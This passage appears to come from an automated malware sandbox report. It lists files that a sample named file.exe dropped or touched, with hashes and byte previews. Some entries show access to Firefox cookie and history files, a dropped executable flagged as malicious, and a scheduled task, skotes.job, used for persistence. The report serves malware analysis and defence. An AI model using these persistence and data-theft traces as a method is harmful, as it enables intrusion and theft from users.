SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7056_377821931\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7056_377821931\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 17 01:42:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9801292239534103
Encrypted:	false
SSDEEP:	48:8OdPTnXoHoidAKZdA19ehwiZUklqehGfy+3:8SDLhfy
MD5:	B020FDF0B010D1807E04518087735793
SHA1:	804BFF265824DA26165E1E660FBD14AAA645984C
SHA-256:	6AB2A2E8056EA01FE728BD33B4C417D5931E27A596AFA4F68BCDB2D72617B120
SHA-512:	E7FEB82B45AFBB08FE922BFFA3799B02CE86DD96D5530A8FC382E8B302D936558897FFE1B73C728B12E99303AED1997AE4D4DE33E352394177732D698EF8B44D
Malicious:	false
Preview:	L..................F.@.. ...$+.,......R.8..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IqYI.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VqYI.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VqYI.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VqYI............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VqYJ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............w......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 17 01:42:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.994795571640497
Encrypted:	false
SSDEEP:	48:8usdPTnXoHoidAKZdA1weh/iZUkAQkqehRfy+2:8uID59QEfy
MD5:	08E00240799F503292DA718A0AC72A2B
SHA1:	F43BAE6D2AE7943E2F8DAC91679F9C08C24F8596
SHA-256:	6EAD5CC9C46A0C5165DA37C92E23BC57B809AC365B2C201F9D59E4C586B50135
SHA-512:	6492D6A0CA8835210E9332EB6D3B05F83E945EF3EE2362E36E85E55D335DABF2FD19FD191A244A1B53C384611E88103295249B18220E5D8266177E87A1D9B5EF
Malicious:	false
Preview:	L..................F.@.. ...$+.,....@.{R.8..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IqYI.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VqYI.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VqYI.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VqYI............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VqYJ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............w......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.005401292736415
Encrypted:	false
SSDEEP:	48:8xQdPTnXsHoidAKZdA14tseh7sFiZUkmgqeh7sHfy+BX:8xUD1nVfy
MD5:	75A2188B578AE4E8F4B2732662BF3EF2
SHA1:	9F577822534E059DE5161383B405029CAF57783A
SHA-256:	349F6F2C092EFB346D12CE96CE13CD2280B3590822FF5AF8A2C7A307B2274EA8
SHA-512:	965C6044CBE08DAE57C3A72FCF83FCA2B3834D1EB4EBEAA4ACB548811C934165E0BB6EAAB1BDEB11EEAD5CE97D8000C4D8EF89A2935DB03EC2793CEF004E219B
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IqYI.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VqYI.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VqYI.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VqYI............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............w......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 17 01:42:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9920602031164267
Encrypted:	false
SSDEEP:	48:8wdPTnXoHoidAKZdA1vehDiZUkwqehdfy+R:80DaPfy
MD5:	DE91D7161430666B9C6C4062C1D6C4FD
SHA1:	8E4885631CA48C78AC82F105FAB9F705A391CDF1
SHA-256:	E36A3DB475394F5B13E9DBBD9631882D7A03A979DEA047E89B7697F78372F974
SHA-512:	81B59FA12B456A92571556112EB196AD9F8CD8D2755B4ACC1EBA13813B1E50DE59FAE9F85A047D59BD4C99CE212EA51CEDE17BE064DD7B91F23F9F8C25702061
Malicious:	false
Preview:	L..................F.@.. ...$+.,....pwR.8..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IqYI.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VqYI.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VqYI.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VqYI............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VqYJ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............w......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 17 01:42:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.985423873113827
Encrypted:	false
SSDEEP:	48:8+dPTnXoHoidAKZdA1hehBiZUk1W1qeh7fy+C:8iDa9bfy
MD5:	19A00FFEFAFFF97932DE131EEFA5B8FF
SHA1:	92950C7C62A4DBF7877905A59134470A3D33AEF4
SHA-256:	8C64D2C90C77A0897C188EE923B59C9C21FED9ED7A888A07BB1A8F503C8C7755
SHA-512:	DD5CC4931896DF713816BAF8A877B94C5C655260C6617B65A0A909220B91A365F2AA016A404536C9C7A97F298003257F7A91E848E42F5F98CF45259B87BEC68A
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....R.8..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IqYI.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VqYI.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VqYI.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VqYI............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VqYJ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............w......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 17 01:42:19 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.991688677900343
Encrypted:	false
SSDEEP:	48:8wdPTnXoHoidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbVfy+yT+:80DkT/TbxWOvTbVfy7T
MD5:	2427D7B375456E30C5792B73730580A3
SHA1:	B3307430AB364928CCB0EA06DF0CFA404A71C806
SHA-256:	0396493D6A83DC0CD2275F851F2A4A6D3C4DC3AF7ED62D82B57DD239C934919F
SHA-512:	F6F37A68B1C3EB9329DD472C590D5B6E515F87805F2AFFE28F103A6B80B5011F27A4D85292ED00A505A356F274309A2A4EA5AC65EAD4D572DADB0C1C893CD771
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....>kR.8..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IqYI.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VqYI.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VqYI.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VqYI............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VqYJ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............w......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsFIDHIEBAAK.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3309056
Entropy (8bit):	6.6303667376823086
Encrypted:	false
SSDEEP:	49152:eTpUvxDHDDTFy9+sPGakfnXzQkTn/jY3HmlkY:eTCvlHDDTFy9T+dXckTbM
MD5:	10282F683CC2BB574D550E549C7856A7
SHA1:	73F8D7C88D550D63F2F0425B5008AD3AD1DBBC48
SHA-256:	39260BC5681B3BE663776031C58BDEC2E16212483A6B85C1C3831C6404A68E7F
SHA-512:	CD448861A76CB1E067E821F8A871220EE8FAB2604A400331D6897281CE7DD74638970CA174B37D2BC08E3FB12A789B21F1B7F0B39086497239E33587319DD038
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................2...........@...........................2......u3...@.................................W...k.......H....................o2..............................o2..................................................... . ............................@....rsrc...H...........................@....idata ............................@...qpewlefn..+.......+.................@...ffodathm.....p2......X2.............@....taggant.0....2.."...\2.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsFIDHIEBAAK.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.405844582223817
Encrypted:	false
SSDEEP:	6:1wPvldVX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lB1lGlEt0:1wPpuQ1CGAFifXVBvGlEt0
MD5:	EF5347649402A9D3FEE33A33DB0650D7
SHA1:	48FAE7A0D28128A0684CA0F037B0ECB8BAF8A31E
SHA-256:	85316CD22D246AD9F13F617FF9DEB14D58D57432A47E79B685410289A19E70CA
SHA-512:	DD7EBCA0353D3DC3961585EBBF8945CC23BB506AED88B7ABFB379168FD76333ACD35C0C598D3891A36A18B1FF445A6C03BA76998F53CB76B0D0A50B2F2200D3D
Malicious:	false
Preview:	.....pP.#..A.5x.%.$.F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0.................+.@3P.........................

Chrome Cache Entry: 463

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2971)
Category:	downloaded
Size (bytes):	2976
Entropy (8bit):	5.842170014047443
Encrypted:	false
SSDEEP:	48:5/ggKlgZ01REIbx6666VuHnxEF4+yKdtYkGcnwHfZ7SrvVMGqJ3uO7FGl5nTpOJo:5/grli3IN6666Vwnx672kTnYfsLpq8OW
MD5:	413451CF97ACB9A6F7BC796E9017F327
SHA1:	D2613E08592AE36F3D8396A2FB426CC02B5C13E6
SHA-256:	139B01120DBA798C6EA84B3C8B59098F6A9FC0E0EC56C92E0E81267E17917A2F
SHA-512:	A31B7C7B734A1CB452217D5E959F21B30CED5C296E12E323B508BDD5DC0ECD13A34048BA5E3095CE9136084B9A644D4B515091EBEC4E96C49DD98E71942D8E7B
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["dallas cowboys","cobra kai season 6 netflix","weather tropical storm sara","firehouse subs veterans day","filip chytil injury","half life 2 20th anniversary update","zodiac signs daily horoscope today","nasa space station leak"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"google:entityinfo":"CggvbS8wMjg5NhINRm9vdGJhbGwgdGVhbTLnC2RhdGE6aW1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRQUFBUUFCQUFELzJ3Q0VBQWtHQndnSEJna0lCd2dLQ2drTERSWVBEUXdNRFJzVUZSQVdJQjBpSWlBZEh4OGtLRFFzSkNZeEp4OGZMVDB0TVRVM09qbzZJeXMvUkQ4NFF6UTVPamNCQ2dvS0RRd05HZzhQR2pjbEh5VTNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTi8vQUFCRUlBRUFBUUFNQklnQUNFUUVERVFIL3hBQWJBQUFEQVFBREFRQUFBQUFBQUFBQUFBQURCQVVHQUFFQ0IvL0VBQzBRQUFJQkF3TUNCUU1FQXdBQUFBQUFBQUVDQXdBRUVRVVNJUk14QmlOQlVXRWlNbkVVTTBLUkZYS0MvOFFBR2dFQUF3QURBUUFBQUFBQUFBQUFBQUFBQWdRRkFBTUdBZi9FQUIwUkFBTU

Chrome Cache Entry: 464

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 465

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175125
Entropy (8bit):	5.554368182631651
Encrypted:	false
SSDEEP:	3072:fc3bXo9SLtl9UNXr+FqVBiFWGHj4LsBUnL7BB19HD4VHDgJElS5bOFYG4bhlth0j:fc33Ltl9UhtVBi8ij4LsBU7BB19HD+Db
MD5:	DE27580D28C778BDEB06F70676896EB2
SHA1:	B4110DAAA338236B713E45FC5C7D24D37DFF8832
SHA-256:	5446EE28C1524D6D01444EE57DC4649E45BE7EDF69FD8CB317D94E7E62AD0D38
SHA-512:	26A8E77282C167A66CEAC4C015AB56814A9F96D4A26E2BA5EFC8B9ECB1B14042A1E79FEBC553F81225ABA63BF7D0713AED7299936843786BCB1ABA4C5EFD2D86
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Ed7fPZdAP88.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTsAQtU7Exa5LSjaPuQb-KRl1yfMjA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.aj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var bj,cj,gj,jj,ij,ej,hj;bj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};cj=function(){_.Na()};gj=function(a,b){(_.dj\|\|(_.dj=new ej)).set(a,b);(_.fj\|\|(_.fj=new ej)).set(b,a)};jj=function(a){if(hj===void 0){const b=new ij([],{});hj=Array.prototype.concat.call([],b).length===1}hj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.kj=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Gc};._.lj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.mj=function(a,b){a===0&&(a=_.lj(a,b));return a\|1};_.nj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.oj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.rj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.kj(a,b,d);var k=h[_.v]\|0,l=!!(4&k);if(!l){k=_.mj(k,b);var m=h,p=b;const q=!!(

Chrome Cache Entry: 466

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
